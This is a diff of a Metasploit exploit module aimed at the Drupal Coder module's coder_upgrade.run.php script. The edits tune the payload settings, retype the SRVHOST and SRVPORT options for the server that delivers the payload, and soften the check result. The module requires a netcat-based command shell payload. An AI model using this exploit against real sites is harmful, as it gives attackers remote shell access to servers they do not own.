@@ -37,11 +37,13 @@ def initialize(info={})
37
37
'Privileged' => false ,
38
38
'Payload' =>
39
39
{
40
- 'BadChars' => "\x00 \x2f " ,
41
- 'Compat' =>
40
+ 'Space' => 225 ,
41
+ 'DisableNops' => true ,
42
+ 'BadChars' => "\x00 \x2f " ,
43
+ 'Compat' =>
42
44
{
43
- 'PayloadType' => 'cmd' ,
44
- 'RequiredCmd' => 'netcat netcat-e'
45
+ 'PayloadType' => 'cmd' ,
46
+ 'RequiredCmd' => 'netcat netcat-e'
45
47
} ,
46
48
} ,
47
49
'Platform' => [ 'unix' ] ,
@@ -54,8 +56,8 @@ def initialize(info={})
54
56
register_options (
55
57
[
56
58
OptString . new ( 'TARGETURI' , [ true , 'The target URI of the Drupal installation' , '/' ] ) ,
57
- OptString . new ( 'SRVHOST' , [ true , 'Bogus web server host to receive request from target and deliver payload' ] ) ,
58
- OptString . new ( 'SRVPORT' , [ true , 'Bogus web server port to listen' ] )
59
+ OptAddress . new ( 'SRVHOST' , [ true , 'Bogus web server host to receive request from target and deliver payload' ] ) ,
60
+ OptPort . new ( 'SRVPORT' , [ true , 'Bogus web server port to listen' ] )
59
61
]
60
62
)
61
63
end
@@ -66,7 +68,7 @@ def check
66
68
'uri' => normalize_uri ( target_uri . path , 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php' ) ,
67
69
)
68
70
if res && res . code == 200
69
- Exploit ::CheckCode ::Vulnerable
71
+ Exploit ::CheckCode ::Appears
70
72
else
71
73
Exploit ::CheckCode ::Safe
72
74
end
0 commit comments